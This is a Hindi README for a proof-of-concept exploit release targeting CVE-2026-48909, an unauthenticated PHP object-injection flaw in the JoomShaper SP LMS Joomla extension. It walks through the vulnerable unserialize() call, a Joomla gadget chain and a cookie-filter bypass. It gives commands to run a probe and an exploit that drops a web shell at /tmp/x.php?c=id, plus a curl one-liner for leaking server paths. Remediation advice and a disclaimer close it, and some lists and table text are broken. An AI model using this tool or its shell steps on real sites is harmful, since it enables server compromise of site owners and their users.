
CVE-2026-48909 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट: JoomShaper SP LMS में PHP ऑब्जेक्ट इंजेक्शन के माध्यम से अप्रमाणित रिमोट कोड निष्पादन। इसमें पहचान, शोषण और सुधार मार्गदर्शन शामिल है।
बिना प्रमाणीकरण के रिमोट कोड निष्पादन PHP Object Injection के माध्यम से JoomShaper SP LMS (com_splms) ≤ 4.1.3 for Joomla CMS में।
लेखक: Amin İsayev / Proxima Cyber Security
SP LMS JoomShaper द्वारा एक लोकप्रिय Joomla Learning Management System एक्सटेंशन है जिसकी 100,000+ स्थापनाएँ हैं। संस्करण ≤ 4.1.3 lmsOrders कुकी को बिना किसी सत्यापन के सीधे में पास करते हैं, जिससे बिना प्रमाणीकृत हमलावर Joomla की मूल गैजेट श्रृंखला के माध्यम से एक दुर्भावनापूर्ण PHP ऑब्जेक्ट इंजेक्ट कर सकता है और रिमोट कोड निष्पादन प्राप्त कर सकता है।
unserialize()| फ़ील्ड | विवरण |
|---|---|
| CVE ID | CVE-2026-48909 |
| GHSA | GHSA-gf8c-xmwj-whrh |
| प्रभावित | SP LMS (com_splms) 1.0.0 – 4.1.3 |
| समाधान | SP LMS ≥ 4.1.4 |
| Joomla आवश्यकता | < 5.2.2 (गैजेट श्रृंखला 5.2.2 में पैच की गई) |
| CVSS 4.0 | 9.5 क्रिटिकल — AV:N/AC:L/AT:P/PR:N/UI:N |
| CWE | CWE-502: अविश्वसनीय डेटा का डिसीरियलाइज़ेशन |
| प्रमाणीकरण आवश्यक | कोई नहीं |
| प्रकटीकरण | 2026-05-26 |
| प्रकाशित | 2026-06-20 |
components/com_splms/models/cart.php पंक्ति 28:
$cookie = Factory::getApplication()->input->cookie;
$raw = $cookie->get('lmsOrders', base64_encode(serialize(array())));
$decoded = base64_decode($raw);
$cartItems = unserialize($decoded); // ← अविश्वसनीय उपयोगकर्ता इनपुट
lmsOrders कुकी को base64-डिकोड किया जाता है और सीधे unserialize() में पास किया जाता है। एक हमलावर डिसीरियलाइज़ किए गए ऑब्जेक्ट को पूरी तरह से नियंत्रित करता है।
Joomla का FormattedtextLogger वर्ग गैजेट प्रदान करता है:
lmsOrders कुकी (हमलावर द्वारा नियंत्रित)
└─► unserialize() [cart.php:28]
└─► FormattedtextLogger.__destruct() [Joomla गैजेट]
└─► initFile() → File::write($path, $format)
└─► PHP कोड डिस्क पर लिखा गया → RCE
नोट: RCE के लिए Joomla < 5.2.2 आवश्यक है।
Joomla 5.2.2 नेFormattedtextLogger.__wakeup()को पैच किया (देखें PR #44428)।
PHP Object Injection अभी भी सभी Joomla संस्करणों पर com_splms ≤ 4.1.3 में मौजूद है।
Joomla का Input\Cookie::get() डिफ़ॉल्ट रूप से cmd फ़िल्टर लागू करता है, जो कुकी मान से +, /, और = को हटा देता है — ये वर्ण मानक base64 में मौजूद होते हैं। एक्सप्लॉइट उपयोग करता है:
$, _, {, }, \n) से बचने के लिए= पैडिंग नहीं)/ और + को समाप्त करने के लिएpython3 CVE-2026-48909.py https://target.com
[*] लक्ष्य : https://target.com
[*] पथ : /index.php?option=com_splms&view=cart
[*] प्रोब : lmsOrders=Tzo4OiJzdGRDbGFzcyI6MDp7fQ==
[कमज़ोर] प्रोब पर HTTP 500 बनाम सामान्य पर 200 — कुकी पर unserialize() कॉल किया गया
[!] तुरंत SP LMS >= 4.1.4 पर अपडेट करें।
python3 CVE-2026-48909_exploit.py https://target.com /var/www/html/tmp/x.php

शेल सक्रिय है
https://target.com/tmp/x.php?c=idपर
सर्वर पथ ढूँढना (यदि अज्ञात है):
# cPanel होस्टिंग — Joomla त्रुटि पृष्ठों से पथ लीक
curl -sk "https://target.com/administrator/" | grep -oP '\/home\d*\/[^"<\s]+'
# सामान्य पथ जांचने के लिए:
# /var/www/html/tmp/x.php
# /home/USER/public_html/tmp/x.php
# /var/www/vhosts/DOMAIN/httpdocs/tmp/x.php
pip install requests
Python 3.10+
lmsOrders कुकी को मान्य और स्वच्छ करें:// उपयोगकर्ता-नियंत्रित डेटा पर unserialize() का उपयोग न करें
// इसके बजाय json_encode/json_decode का उपयोग करें
$cartItems = json_decode(base64_decode($raw), true) ?? [];
यह उपकरण शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए ही जारी किया गया है।
इस प्रोग्राम के दुरुपयोग या क्षति के लिए लेखक जिम्मेदार नहीं है।
उन सिस्टमों के विरुद्ध उपयोग न करें जिनके आप मालिक नहीं हैं या जिनके परीक्षण की स्पष्ट लिखित अनुमति नहीं है।
Amin İsayev / Proxima Cyber Security — 2026